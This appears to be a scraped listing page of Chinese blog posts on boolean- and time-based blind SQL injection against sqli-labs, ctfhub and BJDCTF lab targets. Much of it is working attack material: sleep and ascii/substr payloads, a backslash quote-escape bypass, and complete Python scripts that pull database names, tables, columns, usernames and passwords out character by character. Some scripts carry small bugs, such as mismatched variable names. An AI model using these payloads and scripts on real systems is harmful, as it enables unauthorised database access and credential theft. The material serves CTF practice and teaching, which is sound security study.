精华内容
参与话题
问答
  • Bool盲注

    2019-10-04 08:49:30
    最近看见了这个Bool盲注挺有趣,做个记录! 小技巧:substr(user(),1,1)等价于substr(user() from 1 for 1) 可以绕过逗号 参考脚本模板程序: 1 import request 2 import re 3 4 pattern = re.compile...

    最近看见了这个Bool盲注挺有趣,做个记录!

    小技巧:
    substr(user(),1,1)
    等价于
    substr(user() from 1 for 1) 可以绕过逗号

    参考脚本模板程序:

     1 import request
     2 import re
     3 
     4 pattern = re.compile(r'2014-11-16') #此处是关键字
     5 
     6 for count in range(1,100):
     7     for character in range(0,128):
     8         payload = 'user()'
     9         request = urllib2.Request('')
    10                 #其中单引号中放注入的url
    11         request.add_header('User-Agent','')
    12                 #其中单引号中放User-Agent对应的东东!
    13         response = urllib2.urlopen(request)
    14         #print character
    15         match = pattern.search(response.read())
    16         if match:
    17             if character == 0:
    18                 exit(0)
    19             else:
    20                 print '%d -- %s'%(count,chr(character))
    21                 #print match.group()
    22                 break
    23           

    参考:这里

     

    转载于:https://www.cnblogs.com/sxmcACM/p/4101855.html

    展开全文
  • 时间盲注&Bool盲注

    2020-10-06 20:57:13
    时间盲注 在注入过程中没有什么任何回显来判断注入是否成功,只能通过sleep()或benchmark()等函数让mysql执行时间变长来判断。 常用语句: 1' or if(length(database())>0,sleep(4),1)# 爆库 1' or if(ascii...

    时间盲注

    在注入过程中没有什么任何回显来判断注入是否成功,只能通过sleep()或benchmark()等函数让mysql执行时间变长来判断。
    常用语句:

    1' or if(length(database())>0,sleep(4),1)#
    爆库
    1' or if(ascii(substr(database(),1,1))>0,sleep(4),1)#
    爆表
    1' or if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 1,1),1,1))>0,sleep(4),1)#
    爆列名
    1' or if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))>0,sleep(4),1)#
    爆字段
    1' or if(ascii(substr((select '列名' from '表名'),1,1))>0,sleep(4),1)#
    

    例题:ctfhub时间盲注
    没有找到合适的题目,先用这个没有任何过滤的,在比赛中肯定会过滤很多。
    没有任何回显,用以上语句可以使mysql执行的时间变长,直接用脚本。查其他只需要改一下sql语句。

    import requests
    import time
    
    url="http://challenge-0a99fae06ab48db0.sandbox.ctfhub.com:10080/?id="
    name=""
    for i in range(1,10):
      for j in range(32,127):
        payload="1 or if(ascii(substr(database(),{},1))={},sleep(4),1)#".format(i,j)
        u=url+payload
        #time
        start=int(time.time())
        r=requests.get(u)
        end=int(time.time())-start
        if end > 3:
          name+=chr(j)
          print(name)
          break
    

    Bool盲注

    有回显能判断注入是否成功,但没法显示具体数据。
    常用语句:

    1' and (length(database())>0)#
    1' and (ascii(substr(database(),1,1))>0)#
    1' and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 1,1),1,1))>0)#
    1' and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))>0)#
    1' and (ascii(substr((select '列名' from '表名'),1,1))>0)#
    

    例题:成功显示在这里插入图片描述
    失败显示

    在这里插入图片描述
    直接用脚本:

    import requests
    
    url="http://challenge-b638ab7b33d15678.sandbox.ctfhub.com:10080/?id="
    name=""
    for i in range(1,10):
      for j in range(32,127):
        payload="1 and (ascii(substr(database(),{},1))={})#".format(i,j)
        u=url+payload
        r=requests.get(u)
        if "query_success" in r.text:
          name+=chr(j)
          print(name)
          break
    

    [BJDCTF 2nd]简单(艰难)注入
    简单从来不简单,baby从来不baby,Ez从来不Ez。。。
    参考:https://www.gem-love.com/ctf/2097.html#GirlfriendInjection(%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5)
    https://www.nps.ink/371105.html
    https://www.cnblogs.com/mech/p/12892071.html
    刷到这个题了,跟巅峰极客一个题的第一步一模一样,复现一下。。

    知识点:无引号sql注入
    可以用反斜线去将单引号转义,这要就实现了SQL语句逃逸,实现SQL注入。
    假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了:

    select username,password from user where username='admin\' and password=' or 1#'
    

    这样在password处就可以注入恶意代码。
    扫描目录发现robots.txt然后hint.txt给出sql语句:
    在这里插入图片描述post传username,password
    burp爆破一下过滤的字符
    在这里插入图片描述过滤了union、select、=、like、and、单双引号等,没有回显,确定盲注。爆破密码。
    注入成功之后显示
    在这里插入图片描述所以可以确定bool盲注
    因为过滤了等号,可以用大于号,因为当我们传入的恶意代码执行为0的时候,才会有BJD,当爆破到那个字符的时候,就不大于它所对应的ascii,执行为0
    在这里插入图片描述关键语句:

    ^(ascii(substr(password,1,1))>1000)#
    

    脚本:(可以直接爆破,也可以用二分法,我觉得二分法还是快)
    爆破:

    import requests
    
    url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
    password=""
    for i in range(1,20):
      for j in range(32,127):
        payload="^(ascii(substr(password,{},1))>{})#".format(i,j)
        data={"username":"admin\\","password":payload}
        r=requests.post(url,data)
        if "BJD needs to be stronger" in r.text:
          password+=chr(j)
          print(password)
          break
    

    二分法:

    import requests
    
    url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
    password=""
    for i in range(1,20):
      low=32
      high=127
      mid=(low+high)//2
      while(low<high):
        payload="^(ascii(substr(password,{},1))>{})#".format(i,mid)
        data={"username":"admin\\","password":payload}
        r=requests.post(url,data)
        if "BJD needs to be stronger" in r.text:
          high=mid
        else:
          low=mid+1
        mid=(low+high)//2
      password+=chr(mid)
      print(password)
    

    注入出密码登录就能拿到flag。
    同理可以用异或可以换成or,后面注入语句为1.
    or (ascii(substr(password,1,1))>1)#

    import requests
    
    url="http://ff56940f-f5ae-40ff-bb4d-6f0e9f4bab7b.node3.buuoj.cn"
    password=""
    for i in range(1,20):
      low=32
      high=127
      mid=(low+high)//2
      while(low<high):
        payload="or (ascii(substr(password,{},1))>{})#".format(i,mid)
        data={"username":"admin\\","password":payload}
        r=requests.post(url,data)
        if "You konw ,P3rh4ps needs a girl friend" in r.text:
          high=mid
        else:
          low=mid+1
        mid=(low+high)//2
      password+=chr(mid)
      print(password)
    
    展开全文
  • sqli-libs(7) bool盲注

    2019-08-13 14:54:00
    首先打开网页后,发现页面显示outfile, 对不起,看不懂, 就直接加 ' 发现报错了 后来,查看源码得知 他是两个括号括起来的 ...首先查询当前数据库的长度了,发现大于等于8正确,大于等于9错误,我们可以得知...

     

    首先打开网页后,发现页面显示outfile,  对不起,看不懂,  就直接加 ' 发现报错了

     

     

    后来,查看源码得知 他是两个括号括起来的

     

    我们就可以构造我们的payload了,

    首先查询当前数据库的长度了,发现大于等于8正确,大于等于9错误,我们可以得知数据库长度是8,

    http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and length(database())>=8--+

     

    在我们判断数据库库名的时候用到了个函数:

    substr(database,1,1)            意思是截取database的值,从第一位开始每次只返回一个值。

     

     

     逐字符判断数据库库名:

    http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),1,1)='s'--+     s

    http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),2,1)='e'--+     e

      这边我也就不继续写下去了,前面做了那么多题 也知道数据库名是security 

     

    查找表名: 这边我们前面一直知道了 users表在第4个表,

    所以构造payload:http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'--+

     

      

     

    后面插字段内容也就不多赘述了

    转载于:https://www.cnblogs.com/kuaile1314/p/11345902.html

    展开全文
  • Less-7导出文件GET字符型注 打开页面输入?id=1 试了很多发现报错信息都一样,查看下源代码: if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......';... ...

    前篇write up介绍了Less8的上传木马,连接菜刀的做法;那这次记录下这题关于盲注的做法;先来简单介绍下盲注。

    何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注主要分为三类

    • 基于布尔的 SQL 盲注
    • 基于时间的 SQL 盲注
    • 基于报错的 SQL 盲注

    那这题呢就先介绍下使用bool型盲注吧。(也可以用时间的盲注,报错注入是不行的,因为报错信息被注释了)
    在这里插入图片描述
    先了解下盲注常用的几个函数:

    • database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
    • substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
    • mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
    • length()函数可返回字符串的长度
    • Ascii()将某个字符转换为 ascii 值
    • char()函数可将ASCII码转换为对应的字符

    好,知道了这些就去实战试试吧。

    Less-8 布尔型单引号GET盲注
    在这里插入图片描述
    题目提示了为单引号注入,测试下
    在这里插入图片描述
    加单引号报错,加上注释符回显正常,闭合方式确实是'
    1)利用 left(database(),1)进行尝试

    127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23
    

    查看一下 version(),数据库的版本号为 5.6.17,这里的语句的意思是看版本号的第一位是
    不是 5,显然 返回的结果是正确的。
    在这里插入图片描述
    2)接下来看一下数据库的长度
    127.0.0.1/sqli-labs-master/Less-8?id=1'and length(database())=8 %23
    在这里插入图片描述
    长度为 8 时,返回正确结果,说明长度为 8;这里说明下,长度要一个一个的试,我这里是验证下,在要爆信息不多的情况下可以手动试试(二分法可以提高很多效率),太多的话就建议用脚本,或者用burp 爆破。后面会为大家展示╰( ̄ω ̄o)
    3)猜数据库名字
    首先猜测数据库第一位,这里使用了left函数 left(a,b),返回a字符串靠左至b位数,详细看下面用法
    127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a' --+
    在这里插入图片描述
    Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当
    我们不知情的情况下,可以用二分法来提高注入的效率。
    继续爆第二位的话,代码如下:

    127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+
    

    在这里插入图片描述
    然后第三位,第四位… 很麻烦,正经人谁用这啊,你用吗,反正我不用(手动滑稽)
    这里还可以构造这样的命令 猜解数据库第一位 :
    127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),1,1)) >80--+
    第二位:
    127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80 --+

    格式就是这样,但这样的效率真的很…下面就演示下使用脚本盲注和burp爆破。╰( ̄ω ̄o)

    大佬的脚本(目前还不会写╯︿╰) 爆数据库 :

    # -*- coding:utf8 -*-
    import requests
    url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27'  # 这个url要对应你自己的url
    payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
    # 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
    list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
             'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
    str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
    # 开始对比database()
    database = ''
    for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
        for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ss
            p = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值
            u = requests.get(url+p)  # 访问网页
            # print p
            if str1 in u.content:  # 如果str在网页内容里面
                database += ss
                print u"正在对比database第", i, u"个字符",
                print database
                break
    print u"对比成功,database为:", database
    # 开始对比user()#user也是同理
    user = ''
    for i in range(1, 20):
        for ss in list1:
            p = payload.format(d='user', n=i, s=user+ss)
            u = requests.get(url+p)
            # print p
            if str in u.content:
                user += ss
                print u"正在对比user第", i, u"个字符",
                print user
                break
    print u"对比成功,user为:", user
    print u"database-->", database
    print u"user-->", user
    a = raw_input()
    

    爆破成功
    在这里插入图片描述
    接下来猜解表

    # -*- coding:utf8 -*-
    import requests
    url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
    payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
              'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
    # 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
    list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
             72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
             104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
    str1 = "You are in..........."
    tables1 = ''
    tables2 = ''
    tables3 = ''
    tables4 = ''
    for i in range(0, 4):   //这里要视情况而定,表的数量不定
        for j in range(1, 10):
            for s in list1:
                p = payload.format(t=i, w=j, A=s)
                u = requests.get(url+p)
                if str1 in u.content:
                    if i == 0:
                        tables1 += chr(s)
                        print u"正在对比第1个表,", u"第", j, u"个字符",tables1
                    elif i == 1:
                        tables2 += chr(s)
                        print u"正在对比第2个表,", u"第", j, u"个字符", tables2
                    elif i == 2:
                        tables3 += chr(s)
                        print u"正在对比第3个表,", u"第", j, u"个字符", tables3
                    elif i == 3:
                        tables4 += chr(s)
                        print u"正在对比第4个表,", u"第", j, u"个字符", tables4
                        break
    print 'tables1-->', tables1
    print 'tables2-->', tables2
    print 'tables3-->', tables3
    print 'tables4-->', tables4
    a = raw_input()
    

    在这里插入图片描述
    然后盲注users的字段名:

    # -*- coding:utf8 -*-
    import requests
    list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
             'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
             'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
             'Z', '.']  # 字典
    url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
    payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \
              '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
    # payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
    column = ['', '', '', '', '']
    str = 'You are in...........'
    # 以上四个变量就是与本次盲注相关的变量了
    for j in range(0, 3):
        for i in range(1, 9):
            for l in list1:
                p = payload.format(w=j, n=i, c=column[j]+l)
                u = requests.get(url+p)
                if str in u.content:
                    column[j] += l
                    print u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]
                    break
    for c in range(0, 5):
        print 'column', c+1, '-->', column[c]
    a = raw_input()
    

    在这里插入图片描述
    最后就是查看数据了

    # -*- coding:utf8 -*-
    import requests
    list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
             'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
             'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
             'Z', '.']  # 字典
    url = 'http://127.0.0.1/sqli-labs-master/Less-8?id=1%27'
    payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
    str = 'You are in...........'
    username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
    password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
    for i in range(1, 15):
        for j in range(1, 11):
            for l in list1:
                p = payload.format(n=i, w=j, d=username[i-1]+l)
                u = requests.get(url+p)
                if str in u.content:
                    username[i-1] += l
                    print u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
    payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
    for i in range(1, 15):
        for j in range(1, 11):
            for l in list1:
                p = payload2.format(n=i, w=j, d=password[i-1]+l)
                u = requests.get(url+p)
                if str1 in u.content:
                    password[i-1] += l
                    print u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
    print 'id    username    password'
    for i in range(1, 15):
        print i, '-', username[i-1], '-', password[i-1]
    a = raw_input()
    
    

    在这里插入图片描述
    在这里插入图片描述
    使用脚本盲注基本就是这些了,关于burp爆破就过段时间在写吧。(●’◡’●)

    展开全文
  • 介绍一下常用的:mid、substr、left 1、mid()函数 此函数为截取字符串一部分。MID(column_name,start[,length]) 参数 描述 column_name 必需。要提取字符的字段。... ...
  • 题目给出了提示:基于布尔的SQL盲注 打开网页,是登录框,那我们很大可能就是在username或password上进行注入,可能性大一点的是username了吧。 首先输进行一些尝试,找出正确的注入地方以及是否进行了过滤。 ...
  • bool盲注有区别与之前的基于时间的盲注bool盲注的页面输入会影响输出。 ​​我们来看操作理解一下: 语句结构id=1 ,我们去做判断的时候是id=1 and 1=1,and 1=1的本质是返回一个true,true可以用1来代替,...
  • 什么情况要用盲注? http://ctf5.shiyanbar.com/423/web/ 2.http://ctf5.shiyanbar.com/web/index_2.php 在实验吧的简单sql注入1,2里面(链接如上),当用户输入sql的语句有错误的时候,web后台会直接无修改的把...
  • 盲注脚本2.基于bool

    2018-03-10 02:12:00
    盲注脚本2.基于bool 1 #!/usr/bin/env python 2 #encoding:utf-8 3 #by i3ekr 4 #using 5 # python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明" 6 # 7 import requests,re,os ...
  • 练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #string为要截取的字符串,n为长度 limit()函数:标准...
  • 盲注

    2018-06-04 17:23:28
    http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=1 --+ 正常http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=2 --+ 正常http://127.0.0.1/sqli-labs/Less-5?id=1' and 1=2 --+ 不正常...
  • SQL盲注——时间盲注,dnslog盲注 时间盲注 时间盲注原理 $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { ...
  • 一.先讲布尔盲注 相关函数
  • 基于错误信息的SQL盲注

    千次阅读 2016-11-05 01:24:45
    如果不知道网站上的SQL拼接方式,那该怎么利用错误信息进行SQL盲注了,快来围观吧
  • 1625-5 王子昂 总结《2018年1月6日》 【连续第...只做了个misc1,数据包分析打开导出HTTP对象,可以看到是sql盲注的流量 这里是在爆database,由于成功的包和失败的包有显著的区别(内容、大小等等),我们通过这些
  • 30. 注入篇——盲注

    2018-03-03 20:38:20
    SQL盲注盲注是SQL注入的一种,之所以称为盲注是因为他不会根据攻击者的SQL注入语句返回攻击者想要获取的错误信息。SQL盲注分类(1)布尔盲注:布尔很明显有True和Flase,也就是说它会根据攻击者的注入信息返回True...
  • 我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表名以及字段名信息。故攻击方式如下:1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。...

空空如也

1 2 3 4 5 ... 20
收藏数 3,668
精华内容 1,467
关键字:

bool盲注